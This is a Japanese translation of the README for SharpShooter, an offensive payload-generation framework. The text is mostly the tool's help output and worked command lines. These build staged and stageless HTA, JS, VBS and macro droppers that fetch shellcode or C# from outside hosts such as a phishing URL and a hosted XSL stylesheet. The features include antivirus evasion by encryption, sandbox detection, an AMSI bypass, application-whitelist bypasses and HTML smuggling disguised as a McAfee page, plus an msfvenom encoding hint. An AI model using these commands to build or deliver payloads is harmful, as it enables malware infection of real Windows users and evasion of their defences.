
ペイロード生成フレームワーク
_____ __ _____ __ __
/ ___// /_ ____ __________ / ___// /_ ____ ____ / /____ _____
\__ \/ __ \/ __ `/ ___/ __ \\__ \/ __ \/ __ \/ __ \/ __/ _ \/ ___/
___/ / / / / /_/ / / / /_/ /__/ / / / / /_/ / /_/ / /_/ __/ /
/____/_/ /_/\__,_/_/ / .___/____/_/ /_/\____/\____/\__/\___/_/
/_/
SharpShooterは、任意のCSharpソースコードを取得・実行するためのペイロード作成フレームワークです。SharpShooterはHTA、JS、VBS、WSFなど様々な形式のペイロードを作成できます。James Forshaw氏のDotNetToJavaScriptツールを利用して、SharpShooter DotNetシリアル化オブジェクトからメソッドを呼び出します。ペイロードはWeb配信またはDNS配信(またはその両方)で取得可能で、MDSec ActiveBreach PowerDNSプロジェクトと互換性があります。また、同じスクリプト形式で、シェルコード実行を組み込んだステージレスペイロードも生成できます。
SharpShooterのペイロードはランダムキーでRC4暗号化され、ある程度のアンチウイルス回避機能を提供します。また、サンドボックス検出や環境キーイングを統合し、検出を回避する機能も含まれています。
SharpShooterには、ステージドおよびステージレスペイロードでシェルコードを実行するための定義済みCSharpテンプレートが含まれていますが、C#のCodeDomプロバイダーにより、任意のCSharpコードをリフレクションを使用してメモリ内でコンパイル・実行することも可能です。
さらに、SharpShooterはDemiguise HTMLスマイグリング技術を用いてペイロードをHTMLファイル内にバンドルする機能を提供します。
SharpShooterは、ほとんどのエンドユーザーWindowsワークステーションに存在する.NET Framework v2、v3、v4を対象としています。
SharpShooter バージョン1.0では、COMステージング、SquiblydooおよびSquiblytwoの実行、XSL実行などの新しい概念が導入されました。この新しい機能を実現するために、--com、--awl、--awlurl のフラグが追加されました。
SharpShooter バージョン2.0では、AMSIバイパスモジュールと、VBAおよびExcel 4マクロ対応ドキュメントの生成サポートが追加されました。
詳細はMDSecのブログ記事を参照してください。
SharpShooterは高度に設定可能で、さまざまなペイロードタイプ、サンドボックス回避、配信方法、出力タイプをサポートしています。
--help 引数を指定してSharpShooterを実行すると、以下の出力が表示されます。
usage: SharpShooter.py [-h] [--stageless] [--dotnetver <ver>] [--com <com>]
[--awl <awl>] [--awlurl <awlurl>] [--payload <format>]
[--sandbox <types>] [--amsi <amsi>] [--delivery <type>]
[--rawscfile <path>] [--shellcode] [--scfile <path>]
[--refs <refs>] [--namespace <ns>] [--entrypoint <ep>]
[--web <web>] [--dns <dns>] [--output <output>]
[--smuggle] [--template <tpl>]
optional arguments:
-h, --help show this help message and exit
--stageless Create a stageless payload
--dotnetver <ver> Target .NET Version: 2 or 4
--com <com> COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote
--awl <awl> Application Whitelist Bypass Technique: wmic, regsvr32
--awlurl <awlurl> URL to retrieve XSL/SCT payload
--payload <format> Payload type: hta, js, jse, vba, vbe, vbs, wsf
--sandbox <types> Anti-sandbox techniques:
[1] Key to Domain (e.g. 1=CONTOSO)
[2] Ensure Domain Joined
[3] Check for Sandbox Artifacts
[4] Check for Bad MACs
[5] Check for Debugging
--amsi <amsi> Use amsi bypass technique: amsienable
--delivery <type> Delivery method: web, dns, both
--rawscfile <path> Path to raw shellcode file for stageless payloads
--shellcode Use built in shellcode execution
--scfile <path> Path to shellcode file as CSharp byte array
--refs <refs> References required to compile custom CSharp,
e.g. mscorlib.dll,System.Windows.Forms.dll
--namespace <ns> Namespace for custom CSharp,
e.g. Foo.bar
--entrypoint <ep> Method to execute,
e.g. Main
--web <web> URI for web delivery
--dns <dns> Domain for DNS delivery
--output <output> Name of output file (e.g. maldoc)
--smuggle Smuggle file inside HTML
--template <tpl> Name of template file (e.g. mcafee)
以下にいくつかの使用例を示します。
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
.NET Frameworkバージョン4を対象としたステージレスJavaScriptペイロードを作成します。この例では、出力ディレクトリに foo.js というペイロードを作成します。シェルコードは ./raw.txt ファイルから読み込まれます。ペイロードは、実行をCONTOSOドメインにキーイングし、既知のサンドボックス/VM成果物をチェックすることで、サンドボックス回避を試みます。
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
.NET Frameworkバージョン2/3を対象としたステージレスHTAペイロードを作成します。この例では、出力ディレクトリに foo.hta というペイロードを作成します。シェルコードは ./raw.txt ファイルから読み込まれます。ペイロードは、既知の仮想MACアドレスをチェックすることでサンドボックス回避を試みます。また、HTMLスマイグリングペイロード(foo.html)も出力ディレクトリに生成されます。このペイロードは、例としてMcAfeeウイルススキャンテンプレートを使用します。
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
この例では、Web配信とDNS配信の両方を行うステージドVBSペイロードを作成します。ペイロードは、csharpsc.txt ファイル内のCSharpバイト配列として指定されたシェルコードを実行するGZip圧縮CSharpファイルを取得しようとします。使用されるCSharpファイルは、SharpShooter組み込みのシェルコード実行テンプレートです。ペイロードは出力ディレクトリに foo.payload という名前で作成され、http://www.foo.bar/shellcode.payload でホストされる必要があります。同じファイルが bar.foo ドメインでもPowerDNSを使用してホストされる必要があります。VBSファイルは、実行をCONTOSOドメインにキーイングしようとし、McAfeeウイルススキャンテンプレートを使用してHTMLスマイグリング技術によりHTMLファイルに埋め込まれます。結果のペイロードは出力ディレクトリに foo.html として保存されます。
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee
この例では、http://www.phish.com/implant.payload からペイロードを取得するWeb配信を行うステージドJSペイロードの作成方法を示します。生成されたペイロードはサンドボックス回避を試み、DLL参照として mscorlib.dll と System.Windows.Forms.dll を必要とする取得したペイロードのコンパイルを試みます。コンパイルが成功すると、MDSec.SharpShooter 名前空間の Main メソッドが実行されます。
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl
この例では、Outlook.CreateObject() COMメソッドをプリミティブとして使用し、wmic.exe を実行してホストされたスタイルシートを実行するVBSスマイグリングCOMステージャーを作成します。--awl パラメーターはデフォルトで wmic が使用されます。
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
この例では、XMLDOM COMインターフェースを使用してホストされたスタイルシートを取得・実行するHTAスマイグリングファイルを作成します。
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
この例では、XMLDOM COMインターフェースを使用してホストされたスタイルシートを取得・実行するVBAマクロファイルを作成します。
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
この例では、指定されたシェルコードを実行し、HTMLでラップするExcel 4.0 SLKファイルを作成します。シェルコードにヌルバイトを含めることはできません。ヒント:
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
著者: Dominic Chell, MDSec ActiveBreach @domchell and @mdseclabs
クレジット: